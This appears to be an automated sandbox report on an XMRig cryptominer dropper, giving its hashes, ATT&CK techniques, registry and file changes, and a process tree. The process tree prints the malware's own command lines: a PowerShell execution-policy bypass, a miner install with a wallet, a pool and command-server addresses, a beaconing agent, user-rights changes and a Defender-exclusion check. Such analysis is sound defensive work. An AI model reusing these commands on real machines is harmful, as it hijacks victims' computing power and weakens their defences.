xmrig | d85508e7e10f702bd83e1baf01ff85820015666cd5da72add0802fbd30ccaff4

Analysis

max time kernel
299s
max time network
280s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 23:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
infected.exe
Size 2.1MB
Sample261023-3a516sev71
SHA256 d85508e7e10f702bd83e1baf01ff85820015666cd5da72add0802fbd30ccaff4
MD5 f94244a9fb802f4523df36fa4fddeda2
SHA1 473f24d9aa1f01820e2e993da08430800cfdc45a
SHA512 1fa52008f4e789eb6bedf3992810f019952d63b24d929c653bfbcb6ff8953248b66eb9add51fa59bfef08a41e64ef7bee1603b61ef58ff02d9bd1a34fc881c56
SSDEEP 49152:JUFrPLhKgTy6I5Yd7XCH4A+odx5HRkmBtvcBeA+:JwTYGy6bo1dxDHvOL+
TLSH
T161A533A632A1B199CAA329311A35BE76159DB83528FD74676F117E1CB72F8C3E317002
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c4cc-77.dat	family_xmrig
behavioral2/files/0x000d00000001c4cc-77.dat	xmrig

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	4904	powershell.exe
11	4904	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
5948	xmrig.exe
1588	xmrig.exe
1136	FleetMinerSetup_73af76c6.exe
5588	xmrig.exe

Loads dropped DLL 4 IoCs

pid	Process
3568	infected.exe
1136	FleetMinerSetup_73af76c6.exe
1136	FleetMinerSetup_73af76c6.exe
1136	FleetMinerSetup_73af76c6.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3428	powershell.exe
4296	powershell.exe
4904	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files\FleetMiner\server-cert.cer	infected.exe
File created	C:\Program Files\FleetMiner\uninstall.exe	infected.exe
File opened for modification	C:\Program Files\FleetMiner\uninstall.exe	FleetMinerSetup_73af76c6.exe
File created	C:\Program Files\FleetMiner\uninstall-service.ps1	infected.exe
File opened for modification	C:\Program Files\FleetMiner\xmrig.exe	FleetMinerSetup_73af76c6.exe
File opened for modification	C:\Program Files\FleetMiner\uninstall-service.ps1	FleetMinerSetup_73af76c6.exe
File opened for modification	C:\Program Files\FleetMiner\server-cert.cer	FleetMinerSetup_73af76c6.exe
File created	C:\Program Files\FleetMiner\agent.ps1	infected.exe
File created	C:\Program Files\FleetMiner\xmrig.exe	FleetMinerSetup_73af76c6.exe
File opened for modification	C:\Program Files\FleetMiner\gen-config.ps1	FleetMinerSetup_73af76c6.exe
File opened for modification	C:\Program Files\FleetMiner\agent.ps1	FleetMinerSetup_73af76c6.exe
File created	C:\Program Files\FleetMiner\xmrig.exe	infected.exe
File created	C:\Program Files\FleetMiner\gen-config.ps1	infected.exe
File created	C:\Program Files\FleetMiner\install-service.ps1	infected.exe
File created	C:\Program Files\FleetMiner\DEFENDER-EXCLUSION-NEEDED.txt	FleetMinerSetup_73af76c6.exe
File opened for modification	C:\Program Files\FleetMiner\install-service.ps1	FleetMinerSetup_73af76c6.exe
File created	C:\Program Files\FleetMiner\FleetMinerSetup.exe	FleetMinerSetup_73af76c6.exe

Drops file in Windows directory 27 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_m0ouba42.oxt.ps1	powershell.exe
File opened for modification	C:\Windows\security\sce97380.tmp	SecEdit.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2kxuo0rf.nu1.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_f5pxakq5.12t.ps1	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_y4ywze3c.v1r.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1hukebkd.dby.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3lh3m3s0.0rb.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_x3my0afn.0mw.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_w4vr42h0.imy.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_q1oak5ih.o4g.psm1	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.dll	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tsqgnk34.bwr.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qibohdxl.in5.psm1	powershell.exe
File created	C:\Windows\security\sce97380.tmp	SecEdit.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_n4yrt4fd.5xj.psm1	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.out	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RES7A66.tmp	cvtres.exe
File opened for modification	\??\c:\Windows\SystemTemp\hywa02cp\hywa02cp.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1vzyvb5a.xxt.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xr5cdtws.csc.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_plch2k5j.u1d.psm1	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.tmp	powershell.exe
File created	C:\Windows\SystemTemp\hywa02cp\hywa02cp.err	powershell.exe
File created	\??\c:\Windows\SystemTemp\hywa02cp\CSC7CF8470910124B5AA7D64C956D97403B.TMP	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3i23irsu.u22.ps1	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3008	powershell.exe
4924	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xmrig.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xmrig.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FleetMinerSetup_73af76c6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	infected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	FleetMinerSetup_73af76c6.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	FleetMinerSetup_73af76c6.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3428	powershell.exe
3428	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
4924	powershell.exe
4924	powershell.exe
4296	powershell.exe
4296	powershell.exe
4296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeIncreaseQuotaPrivilege	3428	powershell.exe
Token: SeSecurityPrivilege	3428	powershell.exe
Token: SeTakeOwnershipPrivilege	3428	powershell.exe
Token: SeLoadDriverPrivilege	3428	powershell.exe
Token: SeSystemProfilePrivilege	3428	powershell.exe
Token: SeSystemtimePrivilege	3428	powershell.exe
Token: SeProfSingleProcessPrivilege	3428	powershell.exe
Token: SeIncBasePriorityPrivilege	3428	powershell.exe
Token: SeCreatePagefilePrivilege	3428	powershell.exe
Token: SeBackupPrivilege	3428	powershell.exe
Token: SeRestorePrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeSystemEnvironmentPrivilege	3428	powershell.exe
Token: SeRemoteShutdownPrivilege	3428	powershell.exe
Token: SeUndockPrivilege	3428	powershell.exe
Token: SeManageVolumePrivilege	3428	powershell.exe
Token: 33	3428	powershell.exe
Token: 34	3428	powershell.exe
Token: 35	3428	powershell.exe
Token: 36	3428	powershell.exe
Token: SeIncreaseQuotaPrivilege	3428	powershell.exe
Token: SeSecurityPrivilege	3428	powershell.exe
Token: SeTakeOwnershipPrivilege	3428	powershell.exe
Token: SeLoadDriverPrivilege	3428	powershell.exe
Token: SeSystemProfilePrivilege	3428	powershell.exe
Token: SeSystemtimePrivilege	3428	powershell.exe
Token: SeProfSingleProcessPrivilege	3428	powershell.exe
Token: SeIncBasePriorityPrivilege	3428	powershell.exe
Token: SeCreatePagefilePrivilege	3428	powershell.exe
Token: SeBackupPrivilege	3428	powershell.exe
Token: SeRestorePrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeSystemEnvironmentPrivilege	3428	powershell.exe
Token: SeRemoteShutdownPrivilege	3428	powershell.exe
Token: SeUndockPrivilege	3428	powershell.exe
Token: SeManageVolumePrivilege	3428	powershell.exe
Token: 33	3428	powershell.exe
Token: 34	3428	powershell.exe
Token: 35	3428	powershell.exe
Token: 36	3428	powershell.exe
Token: SeIncreaseQuotaPrivilege	3428	powershell.exe
Token: SeSecurityPrivilege	3428	powershell.exe
Token: SeTakeOwnershipPrivilege	3428	powershell.exe
Token: SeLoadDriverPrivilege	3428	powershell.exe
Token: SeSystemProfilePrivilege	3428	powershell.exe
Token: SeSystemtimePrivilege	3428	powershell.exe
Token: SeProfSingleProcessPrivilege	3428	powershell.exe
Token: SeIncBasePriorityPrivilege	3428	powershell.exe
Token: SeCreatePagefilePrivilege	3428	powershell.exe
Token: SeBackupPrivilege	3428	powershell.exe
Token: SeRestorePrivilege	3428	powershell.exe
Token: SeShutdownPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeSystemEnvironmentPrivilege	3428	powershell.exe
Token: SeRemoteShutdownPrivilege	3428	powershell.exe
Token: SeUndockPrivilege	3428	powershell.exe
Token: SeManageVolumePrivilege	3428	powershell.exe
Token: 33	3428	powershell.exe
Token: 34	3428	powershell.exe
Token: 35	3428	powershell.exe
Token: 36	3428	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5948	xmrig.exe
1588	xmrig.exe
5588	xmrig.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 3428	3568	infected.exe	89
PID 3428 wrote to memory of 5356	3428	powershell.exe	92
PID 3428 wrote to memory of 3788	3428	powershell.exe	93
PID 4904 wrote to memory of 6012	4904	powershell.exe	99
PID 6012 wrote to memory of 1200	6012	csc.exe	100
PID 4904 wrote to memory of 1136	4904	powershell.exe	106
PID 1136 wrote to memory of 3008	1136	FleetMinerSetup_73af76c6.exe	107
PID 1136 wrote to memory of 4924	1136	FleetMinerSetup_73af76c6.exe	111
PID 1136 wrote to memory of 4296	1136	FleetMinerSetup_73af76c6.exe	114
PID 4296 wrote to memory of 4940	4296	powershell.exe	116
PID 4296 wrote to memory of 5276	4296	powershell.exe	117

C:\Users\Admin\AppData\Local\Temp\infected.exe
"C:\Users\Admin\AppData\Local\Temp\infected.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\FleetMiner\install-service.ps1" -InstallDir "C:\Program Files\FleetMiner" -Wallet "47VnVKhmprkEXN9S7LEutLbFbRGnwRnQPAZBkLWXDiXb4qGY2eoyAuMf5tqQzmUNXMaZduUBEjCNiLLZkFMG45f1AaLzXkT" -Pool "gulf.moneroocean.stream:10128" -ApiToken "80e45991d8693cc9c066dc23f327c6ab" -ApiPort 15000 -CpuPercent 75 -ServerUrl "https://191.217.250.227:8443" -EnrollToken "2df82e7fec7814ab6ac5815972e15f7d" -BuildName "FleetMinerSetup-20261018042346.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\SysWOW64\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5356
- - C:\Windows\SysWOW64\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\local.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3788

C:\Program Files\FleetMiner\xmrig.exe
"C:\Program Files\FleetMiner\xmrig.exe" --config="C:\ProgramData\MinerPanel\config.json" --log-file="C:\ProgramData\MinerPanel\miner.log"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
PID:5948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\FleetMiner\agent.ps1" -InstallDir "C:\Program Files\FleetMiner" -ServerUrl "https://191.217.250.227:8443" -EnrollToken "2df82e7fec7814ab6ac5815972e15f7d" -HeartbeatSec 60
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\hywa02cp\hywa02cp.cmdline"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:6012
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES7A66.tmp" "c:\Windows\SystemTemp\hywa02cp\CSC7CF8470910124B5AA7D64C956D97403B.TMP"
    3⤵
    - Drops file in Windows directory
    PID:1200
- C:\Windows\TEMP\FleetMinerSetup_73af76c6.exe
  "C:\Windows\TEMP\FleetMinerSetup_73af76c6.exe" /S
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Stop-ScheduledTask -TaskName FleetMiner -ErrorAction SilentlyContinue; Get-Process xmrig -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue"
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$p = Get-MpPreference -ErrorAction SilentlyContinue; if (($p.ExclusionPath -contains \"C:\Program Files\FleetMiner\") -and ($p.ExclusionProcess -contains \"xmrig.exe\")) { Remove-Item \"C:\Program Files\FleetMiner\DEFENDER-EXCLUSION-NEEDED.txt\" -ErrorAction SilentlyContinue }"
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Program Files\FleetMiner\install-service.ps1" -InstallDir "C:\Program Files\FleetMiner" -Wallet "47VnVKhmprkEXN9S7LEutLbFbRGnwRnQPAZBkLWXDiXb4qGY2eoyAuMf5tqQzmUNXMaZduUBEjCNiLLZkFMG45f1AaLzXkT" -Pool "gulf.moneroocean.stream:10128" -ApiToken "80e45991d8693cc9c066dc23f327c6ab" -ApiPort 15000 -CpuPercent 75 -ServerUrl "https://191.217.250.227:8443" -AltServerUrl "https://golden-age.shop:8443" -EnrollToken "2df82e7fec7814ab6ac5815972e15f7d" -BuildName "FleetMinerSetup-20261023135424.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\SysWOW64\SecEdit.exe
      "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Windows\TEMP\secpol.cfg
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:4940
  - - C:\Windows\SysWOW64\SecEdit.exe
      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\local.sdb /cfg C:\Windows\TEMP\secpol.cfg /areas USER_RIGHTS
      4⤵
      System Location Discovery: System Language Discovery
      PID:5276

C:\Windows\system32\taskhostw.exe
taskhostw.exe "C:\Program Files\FleetMiner\xmrig.exe" --config="C:\ProgramData\MinerPanel\config.json" --log-file="C:\ProgramData\MinerPanel\miner.log"
1⤵
PID:4320

C:\Program Files\FleetMiner\xmrig.exe
"C:\Program Files\FleetMiner\xmrig.exe" --config="C:\ProgramData\MinerPanel\config.json" --log-file="C:\ProgramData\MinerPanel\miner.log"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
PID:1588

C:\Windows\system32\taskhostw.exe
taskhostw.exe "C:\Program Files\FleetMiner\xmrig.exe" --config="C:\ProgramData\MinerPanel\config.json" --log-file="C:\ProgramData\MinerPanel\miner.log"
1⤵
PID:1124

C:\Program Files\FleetMiner\xmrig.exe
"C:\Program Files\FleetMiner\xmrig.exe" --config="C:\ProgramData\MinerPanel\config.json" --log-file="C:\ProgramData\MinerPanel\miner.log"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
PID:5588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

